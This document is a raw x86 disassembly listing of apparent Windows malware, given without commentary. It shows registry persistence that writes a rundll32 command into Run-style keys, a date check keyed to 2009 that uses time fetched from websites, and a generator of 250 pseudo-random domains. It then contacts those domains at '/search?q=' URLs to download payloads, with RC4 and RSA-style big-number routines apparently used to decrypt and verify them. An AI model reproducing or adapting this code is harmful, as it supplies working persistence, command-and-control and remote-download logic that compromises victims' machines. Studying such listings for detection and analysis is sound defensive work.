push offset aMarnwkcw ; "marnwkcw"
push [ebp+74h+lpMultiByteStr]
lea eax, [ebp+74h+Data]
push offset aRundll32_exe_0 ; "rundll32.exe \"%s\",%s"
push 104h ; Count
push eax ; Dest
call _snprintf
xor edi, edi
add esp, 20h
mov [ebp+74h+var_11D], 0
mov esi, 80000002h
inc edi
loc_9AD8A3: ; CODE XREF: sub_9AD71D+1E5j
cmp esi, 80000001h
jl short loc_9AD904
push ebx ; lpdwDisposition
lea eax, [ebp+74h+phkResult]
push eax ; phkResult
push ebx ; lpSecurityAttributes
push 20006h ; samDesired
push ebx ; dwOptions
push ebx ; lpClass
push ebx ; Reserved
push offset byte_9A1554 ; lpSubKey
push esi ; hKey
call RegCreateKeyExA
test eax, eax
jnz short loc_9AD8FE
lea eax, [ebp+74h+Data]
push eax ; Str
call strlen
pop ecx
inc eax
push eax ; cbData
lea eax, [ebp+74h+Data]
push eax ; lpData
push edi ; dwType
push ebx ; Reserved
lea eax, [ebp+74h+ValueName]
push eax ; lpValueName
push [ebp+74h+phkResult] ; hKey
call RegSetValueExA
test eax, eax
jnz short loc_9AD8F5
mov [ebp+74h+var_8], edi
loc_9AD8F5: ; CODE XREF: sub_9AD71D+1D3j
push [ebp+74h+phkResult] ; hKey
call RegCloseKey
loc_9AD8FE: ; CODE XREF: sub_9AD71D+1AAj
dec esi
cmp [ebp+74h+var_8], ebx
jz short loc_9AD8A3
loc_9AD904: ; CODE XREF: sub_9AD71D+125j
; sub_9AD71D+18Cj
call sub_9AD00D
mov eax, [ebp+74h+var_8]
pop esi
loc_9AD90D: ; CODE XREF: sub_9AD71D+36j
pop edi
pop ebx
add ebp, 74h
leave
retn
sub_9AD71D endp
; =============== S U B R O U T I N E =======================================
sub_9AD914 proc near ; CODE XREF: sub_9AD95A+25p
push ebx
xor ebx, ebx
test esi, esi
jz short loc_9AD956
cmp eax, 200h
jbe short loc_9AD956
push edi
lea edi, [eax-200h]
push edi ; int
push esi ; int
lea eax, [esi+eax-200h]
push eax ; int
push ds:dword_9B9B20 ; int
push offset dword_9B9B28 ; Src
call sub_9AE331
add esp, 14h
test al, al
jz short loc_9AD955
push edi ; nNumberOfBytesToWrite
push esi ; lpBuffer
call sub_9AC396
pop ecx
pop ecx
mov ebx, eax
loc_9AD955: ; CODE XREF: sub_9AD914+34j
pop edi
loc_9AD956: ; CODE XREF: sub_9AD914+5j
; sub_9AD914+Cj
mov eax, ebx
pop ebx
retn
sub_9AD914 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9AD95A(LPCSTR lpszUrl)
sub_9AD95A proc near ; CODE XREF: sub_9ADCF2+2Ep
var_4 = dword ptr -4
lpszUrl = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
push edi
xor edi, edi
push edi ; int
lea eax, [ebp+var_4]
push eax ; int
push [ebp+lpszUrl] ; lpszUrl
call sub_9ABAC6
mov esi, eax
add esp, 0Ch
cmp esi, edi
jz short loc_9AD98D
mov eax, [ebp+var_4]
cmp eax, edi
jz short loc_9AD986
call sub_9AD914
mov edi, eax
loc_9AD986: ; CODE XREF: sub_9AD95A+23j
push esi ; hMem
call GlobalFree
loc_9AD98D: ; CODE XREF: sub_9AD95A+1Cj
mov eax, edi
pop edi
pop esi
leave
retn
sub_9AD95A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9AD993(LPCSTR lpszUrl, int, int)
sub_9AD993 proc near ; CODE XREF: sub_9ADA6E+1Ep
szAgent = byte ptr -414h
var_413 = byte ptr -413h
var_14 = dword ptr -14h
hInternet = dword ptr -10h
var_C = dword ptr -0Ch
cbSize = dword ptr -8
var_1 = byte ptr -1
lpszUrl = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 414h
push ebx
push edi
xor eax, eax
xor ebx, ebx
mov [ebp+szAgent], bl
mov ecx, 0FFh
lea edi, [ebp+var_413]
rep stosd
stosw
stosb
lea eax, [ebp+cbSize]
push eax ; cbSize
lea eax, [ebp+szAgent]
push eax ; pszUAOut
push ebx ; dwOption
mov [ebp+var_1], bl
mov [ebp+cbSize], 400h
call ObtainUserAgentString
push ebx ; dwFlags
push ebx ; lpszProxyBypass
push ebx ; lpszProxy
push ebx ; dwAccessType
lea eax, [ebp+szAgent]
push eax ; lpszAgent
call InternetOpenA
cmp eax, ebx
mov [ebp+hInternet], eax
jz short loc_9ADA67
push ebx ; dwContext
push 84080300h ; dwFlags
push ebx ; dwHeadersLength
push ebx ; lpszHeaders
push [ebp+lpszUrl] ; lpszUrl
push eax ; hInternet
call InternetOpenUrlA
mov edi, eax
cmp edi, ebx
jz short loc_9ADA5E
push esi
mov esi, HttpQueryInfoA
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+cbSize]
push eax
lea eax, [ebp+var_14]
push eax
push 20000013h
push edi
mov [ebp+var_C], ebx
mov [ebp+cbSize], 4
call esi ; HttpQueryInfoA
test eax, eax
jz short loc_9ADA56
cmp [ebp+var_14], 0C8h
jnz short loc_9ADA56
mov eax, [ebp+arg_8]
mov [ebp+cbSize], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+cbSize]
push eax
push [ebp+arg_4]
mov [ebp+var_C], ebx
push 9
push edi
call esi ; HttpQueryInfoA
test eax, eax
jz short loc_9ADA56
mov [ebp+var_1], 1
loc_9ADA56: ; CODE XREF: sub_9AD993+97j
; sub_9AD993+A0j ...
push edi ; hInternet
call InternetCloseHandle
pop esi
loc_9ADA5E: ; CODE XREF: sub_9AD993+6Ej
push [ebp+hInternet] ; hInternet
call InternetCloseHandle
loc_9ADA67: ; CODE XREF: sub_9AD993+56j
mov al, [ebp+var_1]
pop edi
pop ebx
leave
retn
sub_9AD993 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_9ADA6E(LPCSTR lpszUrl, int, int, int)
sub_9ADA6E proc near ; CODE XREF: sub_9ADB52+4Dp
var_408 = dword ptr -408h
var_404 = dword ptr -404h
Str = byte ptr -400h
lpszUrl = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
sub esp, 408h
push ebp
push 400h ; int
lea eax, [esp+410h+Str]
push eax ; int
push [esp+414h+lpszUrl] ; lpszUrl
xor ebp, ebp
mov [esp+418h+var_404], ebp
call sub_9AD993
add esp, 0Ch
test al, al
jz loc_9ADB46
push esi
mov esi, strtok
push edi
mov edi, offset Delim ; ", "
lea eax, [esp+414h+Str]
push edi ; Delim
push eax ; Str
call esi ; strtok
test eax, eax
pop ecx
pop ecx
jz loc_9ADB44
push edi ; Delim
push ebp ; Str
call esi ; strtok
cmp eax, ebp
pop ecx
pop ecx
jz short loc_9ADB44
push ebx
mov ebx, atoi
push eax ; Str
call ebx ; atoi
mov ecx, [esp+41Ch+arg_4]
push edi ; Delim
push ebp ; Str
mov [ecx], ax
call esi ; strtok
mov ebp, eax
add esp, 0Ch
test ebp, ebp
jz short loc_9ADB43
and [esp+418h+var_408], 0
loc_9ADAEB: ; CODE XREF: sub_9ADA6E+A1j
mov eax, [esp+418h+var_408]
push 3 ; MaxCount
push ebp ; Str
push ds:off_9B9D40[eax*4] ; Str1
call _strnicmp
add esp, 0Ch
test eax, eax
jz short loc_9ADB13
inc [esp+418h+var_408]
cmp [esp+418h+var_408], 0Ch
jb short loc_9ADAEB
jmp short loc_9ADB22
; ---------------------------------------------------------------------------
loc_9ADB13: ; CODE XREF: sub_9ADA6E+96j
mov eax, [esp+418h+var_408]
mov ecx, [esp+418h+arg_8]
inc eax
mov [ecx], ax
loc_9ADB22: ; CODE XREF: sub_9ADA6E+A3j
push edi ; Delim
push 0 ; Str
call esi ; strtok
test eax, eax
pop ecx
pop ecx
jz short loc_9ADB43
push eax ; Str
call ebx ; atoi
pop ecx
mov ecx, [esp+418h+arg_C]
mov [ecx], ax
mov [esp+418h+var_404], 1
loc_9ADB43: ; CODE XREF: sub_9ADA6E+76j
; sub_9ADA6E+BDj
pop ebx
loc_9ADB44: ; CODE XREF: sub_9ADA6E+47j
; sub_9ADA6E+55j
pop edi
pop esi
loc_9ADB46: ; CODE XREF: sub_9ADA6E+28j
mov eax, [esp+40Ch+var_404]
pop ebp
add esp, 408h
retn
sub_9ADA6E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9ADB52 proc near ; CODE XREF: sub_9ADD9B+4Ep
szUrl = byte ptr -38h
var_19 = byte ptr -19h
Dst = word ptr -18h
var_16 = dword ptr -16h
var_12 = dword ptr -12h
var_E = word ptr -0Eh
var_C = word ptr -0Ch
var_A = word ptr -0Ah
FileTime = _FILETIME ptr -8
push ebp
mov ebp, esp
sub esp, 38h
push ebx
push 10h ; Size
xor ebx, ebx
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call memset
call rand
push 6
pop ecx
xor edx, edx
div ecx
lea eax, [ebp+szUrl]
push ds:off_9B9D28[edx*4]
push offset aHttpWww_S ; "http://www.%s"
push 20h ; Count
push eax ; Dest
call _snprintf
lea eax, [ebp+Dst]
push eax ; int
lea eax, [ebp+var_16]
push eax ; int
lea eax, [ebp+var_12]
push eax ; int
lea eax, [ebp+szUrl]
push eax ; lpszUrl
mov [ebp+var_19], bl
call sub_9ADA6E
add esp, 2Ch
test eax, eax
jz short loc_9ADBBD
cmp word ptr [ebp+var_12], bx
jz short loc_9ADBBD
cmp word ptr [ebp+var_16], bx
jz short loc_9ADBBD
cmp [ebp+Dst], bx
jnz short loc_9ADBDB
loc_9ADBBD: ; CODE XREF: sub_9ADB52+57j
; sub_9ADB52+5Dj ...
lea eax, [ebp+Dst]
push eax ; lpSystemTime
call GetSystemTime
mov word ptr [ebp+var_16+2], bx
mov word ptr [ebp+var_12+2], bx
mov [ebp+var_A], bx
mov [ebp+var_E], bx
mov [ebp+var_C], bx
loc_9ADBDB: ; CODE XREF: sub_9ADB52+69j
lea eax, [ebp+FileTime]
push eax ; lpFileTime
lea eax, [ebp+Dst]
push eax ; lpSystemTime
call SystemTimeToFileTime
push 3
push 52C94565h
push [ebp+FileTime.dwHighDateTime]
push [ebp+FileTime.dwLowDateTime]
call __allmul
push 580h
push 28E44000h
push edx
push eax
call __aulldiv
add eax, 0A3596526h
adc edx, ebx
mov dword ptr ds:dbl_9B9D90, eax
mov dword ptr ds:dbl_9B9D90+4, edx
pop ebx
leave
retn
sub_9ADB52 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9ADC21 proc near ; CODE XREF: sub_9ADD9B+78p
; sub_9ADD9B+97p ...
var_30 = qword ptr -30h
var_20 = qword ptr -20h
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_8 = qword ptr -8
push ebp
mov ebp, esp
sub esp, 20h
mov ecx, dword ptr ds:dbl_9B9D90+4
mov eax, dword ptr ds:dbl_9B9D90
and dword ptr [ebp+var_8], 0
push esi
mov edx, ecx
push edi
mov dword ptr [ebp+var_8+4], edx
mov edi, 7FFFFFFFh
and edx, edi
mov dword ptr [ebp+var_10], eax
mov dword ptr [ebp+var_10+4], edx
fild [ebp+var_10]
mov esi, 80000000h
and dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
and dword ptr [ebp+var_8], 0
mov dword ptr [ebp+var_8+4], ecx
and dword ptr [ebp+var_8+4], esi
fchs
and ecx, edi
faddp st(1), st
mov dword ptr [ebp+var_18], eax
mov dword ptr [ebp+var_18+4], ecx
push ecx
fstp [ebp+var_10]
push ecx
fild [ebp+var_18]
fild [ebp+var_8]
fchs
faddp st(1), st
fstp [esp+30h+var_30]
call sin
add esp, 8
fstp [ebp+var_20]
push 0
push 53125624h
push dword ptr ds:dbl_9B9D90+4
push dword ptr ds:dbl_9B9D90
call __allmul
and dword ptr [ebp+var_8], 0
mov dword ptr [ebp+var_8+4], edx
and dword ptr [ebp+var_8+4], esi
and edx, edi
mov dword ptr [ebp+var_18], eax
mov dword ptr [ebp+var_18+4], edx
fild [ebp+var_18]
push ecx
fild [ebp+var_8]
push ecx
fchs
faddp st(1), st
fadd [ebp+var_20]
fmul [ebp+var_10]
fadd ds:dbl_9A4950
fmul [ebp+var_10]
fstp [ebp+var_20]
fld [ebp+var_10]
fstp [esp+30h+var_30]
call log
fadd [ebp+var_20]
pop ecx
pop ecx
pop edi
fstp ds:dbl_9B9D90
mov eax, dword ptr ds:dbl_9B9D90
pop esi
leave
retn
sub_9ADC21 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; DWORD __stdcall sub_9ADCF2(LPVOID)
sub_9ADCF2 proc near ; DATA XREF: sub_9ADD49+32o
szUrl = byte ptr -80h
var_1 = byte ptr -1
Memory = dword ptr 8
push ebp
mov ebp, esp
sub esp, 80h
push ds:dword_9B9F38
lea eax, [ebp+szUrl]
push [ebp+Memory]
push offset aHttpSSearch?qD ; "http://%s/search?q=%d"
push 80h ; Count
push eax ; Dest
call _snprintf
lea eax, [ebp+szUrl]
push eax ; lpszUrl
mov [ebp+var_1], 0
call sub_9AD95A
add esp, 18h
test eax, eax
jz short loc_9ADD39
push 1 ; Value
push offset dword_9BA288 ; Target
call InterlockedExchange
loc_9ADD39: ; CODE XREF: sub_9ADCF2+38j
push [ebp+Memory] ; Memory
call free
pop ecx
xor eax, eax
leave
retn 4
sub_9ADCF2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; DWORD __stdcall sub_9ADD49(LPVOID)
sub_9ADD49 proc near ; DATA XREF: sub_9ADD9B+161o
ThreadId = dword ptr 8
push ebp
mov ebp, esp
push esi
mov esi, [ebp+ThreadId]
push esi ; name
call gethostbyname
test eax, eax
jz short loc_9ADD91
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax] ; in
call inet_ntoa
test eax, eax
jz short loc_9ADD91
lea ecx, [ebp+ThreadId]
push ecx ; lpThreadId
push 0 ; dwCreationFlags
push eax ; Src
call _strdup
pop ecx
push eax ; lpParameter
push offset sub_9ADCF2 ; lpStartAddress
push 0 ; dwStackSize
push 0 ; lpThreadAttributes
call CreateThread
push eax ; hObject
call CloseHandle
loc_9ADD91: ; CODE XREF: sub_9ADD49+10j
; sub_9ADD49+21j
mov byte ptr [esi], 0
xor eax, eax
pop esi
pop ebp
retn 4
sub_9ADD49 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9ADD9B proc near ; CODE XREF: StartAddress+1FAp
lpParameter = dword ptr -488h
var_A0 = dword ptr -0A0h
Handles = dword ptr -78h
var_50 = dword ptr -50h
ThreadId = dword ptr -4Ch
var_48 = dword ptr -48h
SystemTime = _SYSTEMTIME ptr -44h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
push 478h
push offset stru_9A4970
call __SEH_prolog
push 0Ah
pop eax
cmp eax, ds:dword_9B9E20
sbb esi, esi
and esi, 9
inc esi
mov [ebp+var_2C], esi
xor edi, edi
mov [ebp+ms_exc.disabled], edi
lea eax, [ebp+SystemTime]
push eax ; lpSystemTime
call GetSystemTime
cmp [ebp+SystemTime.wYear], 7D9h
ja short loc_9ADDE4
jnz loc_9ADFB3
cmp [ebp+SystemTime.wMonth], 1
jb loc_9ADFB3
loc_9ADDE4: ; CODE XREF: sub_9ADD9B+36j
call sub_9AB510
call sub_9ADB52
mov ds:dword_9BA288, edi
loc_9ADDF4: ; CODE XREF: sub_9ADD9B+DCj
mov [ebp+var_1C], edi
mov ebx, 0FAh
cmp edi, ebx
jnb short loc_9ADE7C
push 20h ; dwBytes
push 40h ; uFlags
call GlobalAlloc
mov ebx, eax
mov [ebp+edi*4+lpParameter], ebx
call sub_9ADC21
cdq
push 4
pop ecx
idiv ecx
mov esi, edx
add esi, 8
mov [ebp+var_34], esi
mov [ebp+var_48], ebx
and [ebp+var_28], 0
loc_9ADE2D: ; CODE XREF: sub_9ADD9B+B5j
cmp [ebp+var_28], esi
jnb short loc_9ADE52
call sub_9ADC21
push eax ; X
call labs
pop ecx
cdq
push 1Ah
pop ecx
idiv ecx
add edx, 61h
mov eax, [ebp+var_28]
mov [eax+ebx], dl
inc [ebp+var_28]
jmp short loc_9ADE2D
; ---------------------------------------------------------------------------
loc_9ADE52: ; CODE XREF: sub_9ADD9B+95j
mov byte ptr [ebx+esi], 0
call sub_9ADC21
and eax, 7
push ds:off_9B9D70[eax*4] ; Source
push [ebp+edi*4+lpParameter] ; Dest
call strcat
pop ecx
pop ecx
inc edi
mov esi, [ebp+var_2C]
jmp loc_9ADDF4
; ---------------------------------------------------------------------------
loc_9ADE7C: ; CODE XREF: sub_9ADD9B+63j
mov [ebp+var_30], 1
loc_9ADE83: ; CODE XREF: sub_9ADD9B+1E5j
; sub_9ADD9B+1EFj
xor edi, edi
cmp [ebp+var_30], edi
jz loc_9ADF8F
cmp ds:dword_9BA288, edi
jnz loc_9ADF8F
loc_9ADE9A: ; CODE XREF: sub_9ADD9B+17Dj
mov [ebp+var_1C], edi
cmp edi, esi
jnb short loc_9ADF1F
loc_9ADEA1: ; CODE XREF: sub_9ADD9B+139j
; sub_9ADD9B+151j
call rand
cdq
mov ecx, ebx
idiv ecx
mov esi, edx
mov [ebp+var_50], esi
xor eax, eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
loc_9ADEB9: ; CODE XREF: sub_9ADD9B+182j
cmp [ebp+var_20], edi
jnb short loc_9ADED1
mov ecx, [ebp+var_20]
cmp [ebp+ecx*4+var_A0], esi
jnz short loc_9ADF1A
mov [ebp+var_24], 1
loc_9ADED1: ; CODE XREF: sub_9ADD9B+121j
cmp [ebp+var_24], eax
jnz short loc_9ADEA1
mov ecx, [ebp+esi*4+lpParameter]
cmp byte ptr [ecx], 0
jnz short loc_9ADEE9
mov [ebp+var_24], 1
loc_9ADEE9: ; CODE XREF: sub_9ADD9B+145j
cmp [ebp+var_24], eax
jnz short loc_9ADEA1
lea eax, [ebp+ThreadId]
push eax ; lpThreadId
xor eax, eax
push eax ; dwCreationFlags
push [ebp+esi*4+lpParameter] ; lpParameter
push offset sub_9ADD49 ; lpStartAddress
push eax ; dwStackSize
push eax ; lpThreadAttributes
call CreateThread
mov [ebp+edi*4+Handles], eax
mov [ebp+edi*4+var_A0], esi
inc edi
mov esi, [ebp+var_2C]
jmp short loc_9ADE9A
; ---------------------------------------------------------------------------
loc_9ADF1A: ; CODE XREF: sub_9ADD9B+12Dj
inc [ebp+var_20]
jmp short loc_9ADEB9
; ---------------------------------------------------------------------------
loc_9ADF1F: ; CODE XREF: sub_9ADD9B+104j
push 7530h ; dwMilliseconds
push 1 ; bWaitAll
lea eax, [ebp+Handles]
push eax ; lpHandles
push esi ; nCount
call WaitForMultipleObjects
and [ebp+var_1C], 0
loc_9ADF35: ; CODE XREF: sub_9ADD9B+1BEj
cmp [ebp+var_1C], esi
jnb short loc_9ADF5B
mov esi, [ebp+var_1C]
lea esi, [ebp+esi*4+Handles]
push 0 ; dwExitCode
push dword ptr [esi] ; hThread
call TerminateThread
push dword ptr [esi] ; hObject
call CloseHandle
inc [ebp+var_1C]
mov esi, [ebp+var_2C]
jmp short loc_9ADF35
; ---------------------------------------------------------------------------
loc_9ADF5B: ; CODE XREF: sub_9ADD9B+19Dj
push 1388h ; dwMilliseconds
call Sleep
xor eax, eax
loc_9ADF68: ; CODE XREF: sub_9ADD9B+1E1j
mov [ebp+var_1C], eax
cmp eax, ebx
jnb short loc_9ADF86
mov ecx, [ebp+eax*4+lpParameter]
cmp byte ptr [ecx], 0
jnz short loc_9ADF7E
inc eax
jmp short loc_9ADF68
; ---------------------------------------------------------------------------
loc_9ADF7E: ; CODE XREF: sub_9ADD9B+1DEj
cmp eax, ebx
jb loc_9ADE83
loc_9ADF86: ; CODE XREF: sub_9ADD9B+1D2j
and [ebp+var_30], 0
jmp loc_9ADE83
; ---------------------------------------------------------------------------
loc_9ADF8F: ; CODE XREF: sub_9ADD9B+EDj
; sub_9ADD9B+F9j
mov [ebp+var_1C], edi
loc_9ADF92: ; CODE XREF: sub_9ADD9B+20Fj
cmp [ebp+var_1C], ebx
jnb short loc_9ADFB3
mov eax, [ebp+var_1C]
push [ebp+eax*4+lpParameter] ; hMem
call GlobalFree
inc [ebp+var_1C]
jmp short loc_9ADF92
; ---------------------------------------------------------------------------
loc_9ADFAC: ; DATA XREF: .text:stru_9A4970o
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_9ADFB0: ; DATA XREF: .text:stru_9A4970o
mov esp, [ebp+ms_exc.old_esp]
loc_9ADFB3: ; CODE XREF: sub_9ADD9B+38j
; sub_9ADD9B+43j ...
or [ebp+ms_exc.disabled], 0FFFFFFFFh
call __SEH_epilog
retn
sub_9ADD9B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9ADFBD proc near ; CODE XREF: sub_9AE06F+16p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor edx, edx
mov [eax], edx
mov [eax+4], edx
xor ecx, ecx
loc_9ADFCC: ; CODE XREF: sub_9ADFBD+1Aj
mov [eax+ecx*4+8], ecx
inc ecx
cmp ecx, 100h
jl short loc_9ADFCC
push ebx
push esi
push edi
xor esi, esi
mov [ebp+arg_0], edx
loc_9ADFE1: ; CODE XREF: sub_9ADFBD+56j
mov ecx, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov bl, [esi+ebx]
add bl, dl
lea edi, [eax+ecx*4+8]
mov ecx, [edi]
add bl, cl
movzx edx, bl
mov ebx, [eax+edx*4+8]
inc esi
cmp esi, [ebp+arg_8]
mov [edi], ebx
mov [eax+edx*4+8], ecx
jl short loc_9AE009
xor esi, esi
loc_9AE009: ; CODE XREF: sub_9ADFBD+48j
inc [ebp+arg_0]
cmp [ebp+arg_0], 100h
jl short loc_9ADFE1
pop edi
pop esi
pop ebx
pop ebp
retn
sub_9ADFBD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9AE01A proc near ; CODE XREF: sub_9AE06F+28p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
push ebx
mov ebx, [eax]
push edi
xor edi, edi
cmp [ebp+arg_8], edi
jle short loc_9AE066
push esi
loc_9AE02F: ; CODE XREF: sub_9AE01A+49j
inc bl
movzx ebx, bl
mov edx, [eax+ebx*4+8]
add cl, dl
movzx ecx, cl
lea esi, [eax+ecx*4+8]
mov [ebp+arg_0], ecx
mov ecx, [esi]
mov [eax+ebx*4+8], ecx
add cl, dl
mov [esi], edx
mov esi, [ebp+arg_4]
movzx ecx, cl
mov cl, [eax+ecx*4+8]
add esi, edi
xor [esi], cl
mov ecx, [ebp+arg_0]
inc edi
cmp edi, [ebp+arg_8]
jl short loc_9AE02F
pop esi
loc_9AE066: ; CODE XREF: sub_9AE01A+12j
pop edi
mov [eax], ebx
mov [eax+4], ecx
pop ebx
pop ebp
retn
sub_9AE01A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9AE06F proc near ; CODE XREF: sub_9AE331+98p
; sub_9AEFDD+4Cp ...
var_408 = byte ptr -408h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 408h
push [ebp+arg_C]
lea eax, [ebp+var_408]
push [ebp+arg_8]
push eax
call sub_9ADFBD
push [ebp+arg_4]
lea eax, [ebp+var_408]
push [ebp+arg_0]
push eax
call sub_9AE01A
add esp, 18h
leave
retn
sub_9AE06F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9AE0A1 proc near ; CODE XREF: sub_9AE0FB+3Ep
; sub_9AE0FB+94p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
mov edi, [ebp+arg_4]
mov ecx, 80h
loc_9AE0B2: ; CODE XREF: sub_9AE0A1+1Ej
mov eax, [esi+ecx*4]
mov ebx, [edi+ecx*4]
cmp eax, ebx
jb short loc_9AE0C5
ja short loc_9AE0CC
dec ecx
jns short loc_9AE0B2
xor eax, eax
jmp short loc_9AE0D1
; ---------------------------------------------------------------------------
loc_9AE0C5: ; CODE XREF: sub_9AE0A1+19j
mov eax, 0FFFFFFFFh
jmp short loc_9AE0D1
; ---------------------------------------------------------------------------
loc_9AE0CC: ; CODE XREF: sub_9AE0A1+1Bj
mov eax, 1
loc_9AE0D1: ; CODE XREF: sub_9AE0A1+22j
; sub_9AE0A1+29j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_9AE0A1 endp
; =============== S U B R O U T I N E =======================================
sub_9AE0D6 proc near ; CODE XREF: sub_9AE0FB+13p
; sub_9AE1BE+38p
arg_0 = dword ptr 4
mov eax, 101Fh
push esi
loc_9AE0DC: ; CODE XREF: sub_9AE0D6+1Fj
mov esi, [esp+4+arg_0]
mov edx, eax
shr edx, 5
mov edx, [esi+edx*4]
mov ecx, eax
and ecx, 1Fh
shr edx, cl
test dl, 1
jnz short loc_9AE0F9
dec eax
jns short loc_9AE0DC
xor eax, eax
loc_9AE0F9: ; CODE XREF: sub_9AE0D6+1Cj
pop esi
retn
sub_9AE0D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9AE0FB(void *Dst, int, int)
sub_9AE0FB proc near ; CODE XREF: sub_9AE1BE+74p
; sub_9AE1BE+A1p
Dst = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push 204h ; Size
push 0 ; Val
push [ebp+Dst] ; Dst
call memset
push ebx
call sub_9AE0D6
mov edx, eax
add esp, 10h
test edx, edx
jl loc_9AE1BC
push esi
push edi
loc_9AE122: ; CODE XREF: sub_9AE0FB+B9j
mov edi, [ebp+Dst]
xor eax, eax
mov ecx, 81h
loc_9AE12C: ; CODE XREF: sub_9AE0FB+36j
rcl dword ptr [edi], 1
lea edi, [edi+4]
loop loc_9AE12C
push [ebp+arg_8]
push [ebp+Dst]
call sub_9AE0A1
test eax, eax
pop ecx
pop ecx
jl short loc_9AE15D
mov edi, [ebp+Dst]
mov esi, [ebp+arg_8]
xor eax, eax
mov ecx, 81h
loc_9AE151: ; CODE XREF: sub_9AE0FB+60j
mov eax, [esi]
sbb [edi], eax
lea esi, [esi+4]
lea edi, [edi+4]
loop loc_9AE151
loc_9AE15D: ; CODE XREF: sub_9AE0FB+47j
mov eax, edx
shr eax, 5
mov eax, [ebx+eax*4]
mov ecx, edx
and ecx, 1Fh
shr eax, cl
test al, 1
jz short loc_9AE1B3
mov edi, [ebp+Dst]
mov esi, [ebp+arg_4]
mov ecx, 81h
xor eax, eax
loc_9AE17D: ; CODE XREF: sub_9AE0FB+8Cj
mov eax, [esi]
adc [edi], eax
lea esi, [esi+4]
lea edi, [edi+4]
loop loc_9AE17D
push [ebp+arg_8]
push [ebp+Dst]
call sub_9AE0A1
test eax, eax
pop ecx
pop ecx
jl short loc_9AE1B3
mov edi, [ebp+Dst]
mov esi, [ebp+arg_8]
xor eax, eax
mov ecx, 81h
loc_9AE1A7: ; CODE XREF: sub_9AE0FB+B6j
mov eax, [esi]
sbb [edi], eax
lea esi, [esi+4]
lea edi, [edi+4]
loop loc_9AE1A7
loc_9AE1B3: ; CODE XREF: sub_9AE0FB+73j
; sub_9AE0FB+9Dj
dec edx
jns loc_9AE122
pop edi
pop esi
loc_9AE1BC: ; CODE XREF: sub_9AE0FB+1Fj
pop ebp
retn
sub_9AE0FB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9AE1BE proc near ; CODE XREF: sub_9AE286+89p
var_410 = byte ptr -410h
Dst = byte ptr -20Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
Src = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 410h
push esi
push 200h ; Size
lea eax, [edi+4]
push 0 ; Val
push eax ; Dst
mov dword ptr [edi], 1
call memset
mov esi, 204h
push esi ; Size
push [ebp+Src] ; Src
lea eax, [ebp+Dst]
push eax ; Dst
call memcpy
push [ebp+arg_4]
call sub_9AE0D6
and [ebp+var_4], 0
add esp, 1Ch
test eax, eax
mov [ebp+var_8], eax
jl short loc_9AE283
push ebx
loc_9AE20A: ; CODE XREF: sub_9AE1BE+C2j
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_4]
mov eax, ecx
shr eax, 5
mov eax, [edx+eax*4]
and ecx, 1Fh
shr eax, cl
test al, 1
jz short loc_9AE248
push [ebp+arg_8] ; int
lea eax, [ebp+var_410]
push edi ; int
push eax ; Dst
lea ebx, [ebp+Dst]
call sub_9AE0FB
push esi ; Size
lea eax, [ebp+var_410]
push eax ; Src
push edi ; Dst
call memcpy
add esp, 18h
loc_9AE248: ; CODE XREF: sub_9AE1BE+61j
push [ebp+arg_8] ; int
lea eax, [ebp+Dst]
push eax ; int
lea eax, [ebp+var_410]
push eax ; Dst
lea ebx, [ebp+Dst]
call sub_9AE0FB
push esi ; Size
lea eax, [ebp+var_410]
push eax ; Src
mov eax, ebx
push eax ; Dst
call memcpy
add esp, 18h
inc [ebp+var_4]
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jle short loc_9AE20A
pop ebx
